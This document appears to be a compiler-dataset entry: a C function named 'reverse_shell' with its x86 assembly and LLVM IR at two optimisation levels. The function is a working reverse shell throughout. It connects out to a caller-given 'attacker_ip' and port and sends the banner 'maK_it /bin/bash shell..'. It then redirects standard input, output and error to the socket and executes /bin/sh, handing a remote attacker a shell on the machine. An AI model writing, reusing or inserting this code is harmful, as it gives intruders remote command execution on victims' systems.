#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  int /*<<< orphan*/ sin_port;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
struct hostent {
  int /*<<< orphan*/ h_length;
  scalar_t__ h_addr;
};
typedef int /*<<< orphan*/ server_addr;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ bcopy(char *, char *, int /*<<< orphan*/);
int /*<<< orphan*/ bzero(char *, int);
int /*<<< orphan*/ close(int);
scalar_t__ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execl(char *, char *, char *);
struct hostent *gethostbyname(char *);
int /*<<< orphan*/ htons(unsigned short);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ strlen(char *);
int /*<<< orphan*/ write(int, char *, int /*<<< orphan*/);
void reverse_shell(char *attacker_ip, unsigned short int attacker_port) {
  int sd;
  struct sockaddr_in server_addr;
  struct hostent *server;
  sd = socket(AF_INET, SOCK_STREAM, 0);
  if (sd < 0)
    return;
  server = gethostbyname(attacker_ip);
  if (server == NULL)
    return;
  bzero((char *)&server_addr, sizeof(server_addr));
  server_addr.sin_family = AF_INET;
  bcopy((char *)server->h_addr, (char *)&server_addr.sin_addr.s_addr,
        server->h_length);
  server_addr.sin_port = htons(attacker_port);
  if (connect(sd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0)
    return;
  write(sd, "maK_it\n/bin/bash shell..\n",
        strlen("maK_it\n/bin/bash shell..\n"));
  dup2(sd, 0);
  dup2(sd, 1);
  dup2(sd, 2);
  execl("/bin/sh", "/bin/sh", (char *)0);
  close(sd);
}


x86 assembly (clang, -O0):
<reverse_shell>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %si,%ax
mov    %rdi,-0x8(%rbp)
mov    %ax,-0xa(%rbp)
mov    0x2e1e(%rip),%rax
mov    (%rax),%edi
mov    0x2e05(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10d0 <socket@plt>
mov    %eax,-0x10(%rbp)
cmpl   $0x0,-0x10(%rbp)
jge    11ee <reverse_shell+0x3e>
jmp    12ce <reverse_shell+0x11e>
mov    -0x8(%rbp),%rdi
call   1080 <gethostbyname@plt>
mov    %rax,-0x28(%rbp)
cmpq   $0x0,-0x28(%rbp)
jne    120b <reverse_shell+0x5b>
jmp    12ce <reverse_shell+0x11e>
lea    -0x20(%rbp),%rdi
mov    $0xc,%esi
call   10a0 <bzero@plt>
mov    0x2dc8(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x18(%rbp)
mov    -0x28(%rbp),%rax
mov    0x8(%rax),%rdi
lea    -0x20(%rbp),%rsi
add    $0x4,%rsi
mov    -0x28(%rbp),%rax
mov    (%rax),%edx
call   1090 <bcopy@plt>
movzwl -0xa(%rbp),%edi
call   1050 <htons@plt>
mov    %eax,-0x20(%rbp)
mov    -0x10(%rbp),%edi
lea    -0x20(%rbp),%rsi
mov    $0xc,%edx
call   10b0 <connect@plt>
cmp    $0x0,%rax
jge    126c <reverse_shell+0xbc>
jmp    12ce <reverse_shell+0x11e>
mov    -0x10(%rbp),%eax
mov    %eax,-0x2c(%rbp)
lea    0xd87(%rip),%rdi
call   1040 <strlen@plt>
mov    -0x2c(%rbp),%edi
mov    %eax,%edx
lea    0xd76(%rip),%rsi
call   1030 <write@plt>
mov    -0x10(%rbp),%edi
xor    %esi,%esi
call   1060 <dup2@plt>
mov    -0x10(%rbp),%edi
mov    $0x1,%esi
call   1060 <dup2@plt>
mov    -0x10(%rbp),%edi
mov    $0x2,%esi
call   1060 <dup2@plt>
lea    0xd60(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
mov    %rsi,%rdi
call   10c0 <execl@plt>
mov    -0x10(%rbp),%edi
call   1070 <close@plt>
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<reverse_shell>:
push   %rbp
push   %r15
push   %r14
push   %r12
push   %rbx
sub    $0x10,%rsp
mov    %esi,%r14d
mov    %rdi,%rbp
mov    0x2e1f(%rip),%r12
mov    (%r12),%edi
mov    0x2e04(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   10d0 <socket@plt>
test   %eax,%eax
js     1298 <reverse_shell+0xe8>
mov    %eax,%ebx
mov    %rbp,%rdi
call   1080 <gethostbyname@plt>
test   %rax,%rax
je     1298 <reverse_shell+0xe8>
mov    %rax,%rbp
mov    %rsp,%r15
mov    %r15,%rdi
mov    $0xc,%esi
call   10a0 <bzero@plt>
mov    (%r12),%eax
mov    %eax,0x8(%rsp)
mov    0x8(%rbp),%rsi
lea    0x4(%rsp),%rdi
mov    0x0(%rbp),%edx
call   1090 <memmove@plt>
movzwl %r14w,%edi
call   1050 <htons@plt>
mov    %eax,(%rsp)
mov    %ebx,%edi
mov    %r15,%rsi
mov    $0xc,%edx
call   10b0 <connect@plt>
test   %rax,%rax
js     1298 <reverse_shell+0xe8>
lea    0xdb5(%rip),%rbp
mov    %rbp,%rdi
call   1040 <strlen@plt>
mov    %ebx,%edi
mov    %rbp,%rsi
mov    %eax,%edx
call   1030 <write@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1060 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1060 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1060 <dup2@plt>
lea    0xd93(%rip),%rdi
mov    %rdi,%rsi
xor    %edx,%edx
call   10c0 <execl@plt>
mov    %ebx,%edi
call   1070 <close@plt>
add    $0x10,%rsp
pop    %rbx
pop    %r12
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.hostent = type { i32, i64 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [26 x i8] c"maK_it\0A/bin/bash shell..\0A\00"
@.str.1 = [8 x i8] c"/bin/sh\00"
define void @reverse_shell(i8* %0, i16 zeroext %1) {
%3 = alloca i8*
%4 = alloca i16
%5 = alloca i32
%6 = alloca %struct.sockaddr_in
%7 = alloca %struct.hostent*
store i8* %0, i8** %3
store i16 %1, i16* %4
%8 = load i32, i32* @AF_INET
%9 = load i32, i32* @SOCK_STREAM
%10 = call i32 @socket(i32 %8, i32 %9, i32 0)
store i32 %10, i32* %5
%11 = load i32, i32* %5
%12 = icmp slt i32 %11, 0
br i1 %12, label %13, label %14
13: ; preds = %2
br label %57
14: ; preds = %2
%15 = load i8*, i8** %3
%16 = call %struct.hostent* @gethostbyname(i8* %15)
store %struct.hostent* %16, %struct.hostent** %7
%17 = load %struct.hostent*, %struct.hostent** %7
%18 = icmp eq %struct.hostent* %17, null
br i1 %18, label %19, label %20
19: ; preds = %14
br label %57
20: ; preds = %14
%21 = bitcast %struct.sockaddr_in* %6 to i8*
%22 = call i32 @bzero(i8* %21, i32 12)
%23 = load i32, i32* @AF_INET
%24 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 2
store i32 %23, i32* %24
%25 = load %struct.hostent*, %struct.hostent** %7
%26 = getelementptr inbounds %struct.hostent, %struct.hostent* %25, i32 0, i32 1
%27 = load i64, i64* %26
%28 = inttoptr i64 %27 to i8*
%29 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 1
%30 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %29, i32 0, i32 0
%31 = bitcast i32* %30 to i8*
%32 = load %struct.hostent*, %struct.hostent** %7
%33 = getelementptr inbounds %struct.hostent, %struct.hostent* %32, i32 0, i32 0
%34 = load i32, i32* %33
%35 = call i32 @bcopy(i8* %28, i8* %31, i32 %34)
%36 = load i16, i16* %4
%37 = call i32 @htons(i16 zeroext %36)
%38 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %6, i32 0, i32 0
store i32 %37, i32* %38
%39 = load i32, i32* %5
%40 = bitcast %struct.sockaddr_in* %6 to %struct.sockaddr*
%41 = call i64 @connect(i32 %39, %struct.sockaddr* %40, i32 12)
%42 = icmp slt i64 %41, 0
br i1 %42, label %43, label %44
43: ; preds = %20
br label %57
44: ; preds = %20
%45 = load i32, i32* %5
%46 = call i32 @strlen(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0))
%47 = call i32 @write(i32 %45, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i32 %46)
%48 = load i32, i32* %5
%49 = call i32 @dup2(i32 %48, i32 0)
%50 = load i32, i32* %5
%51 = call i32 @dup2(i32 %50, i32 1)
%52 = load i32, i32* %5
%53 = call i32 @dup2(i32 %52, i32 2)
%54 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i8* null)
%55 = load i32, i32* %5
%56 = call i32 @close(i32 %55)
br label %57
57: ; preds = %44, %43, %19, %13
ret void
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.hostent = type { i32, i64 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [26 x i8] c"maK_it\0A/bin/bash shell..\0A\00"
@.str.1 = [8 x i8] c"/bin/sh\00"
define void @reverse_shell(i8* %0, i16 zeroext %1) {
%3 = alloca %struct.sockaddr_in
%4 = bitcast %struct.sockaddr_in* %3 to i8*
%5 = load i32, i32* @AF_INET
%6 = load i32, i32* @SOCK_STREAM
%7 = tail call i32 @socket(i32 %5, i32 %6, i32 0)
%8 = icmp slt i32 %7, 0
br i1 %8, label %36, label %9
9: ; preds = %2
%10 = tail call %struct.hostent* @gethostbyname(i8* %0)
%11 = icmp eq %struct.hostent* %10, null
br i1 %11, label %36, label %12
12: ; preds = %9
%13 = call i32 @bzero(i8* %4, i32 12)
%14 = load i32, i32* @AF_INET
%15 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %14, i32* %15
%16 = getelementptr inbounds %struct.hostent, %struct.hostent* %10, i64 0, i32 1
%17 = load i64, i64* %16
%18 = inttoptr i64 %17 to i8*
%19 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1, i32 0
%20 = bitcast i32* %19 to i8*
%21 = getelementptr inbounds %struct.hostent, %struct.hostent* %10, i64 0, i32 0
%22 = load i32, i32* %21
%23 = tail call i32 @htons(i16 zeroext %1)
%24 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0
store i32 %23, i32* %24
%25 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%26 = call i64 @connect(i32 %7, %struct.sockaddr* %25, i32 12)
%27 = icmp slt i64 %26, 0
br i1 %27, label %36, label %28
28: ; preds = %12
%29 = call i32 @strlen(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0))
%30 = call i32 @write(i32 %7, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i32 %29)
%31 = call i32 @dup2(i32 %7, i32 0)
%32 = call i32 @dup2(i32 %7, i32 1)
%33 = call i32 @dup2(i32 %7, i32 2)
%34 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i8* null)
%35 = call i32 @close(i32 %7)
br label %36
36: ; preds = %12, %9, %2, %28
ret void
}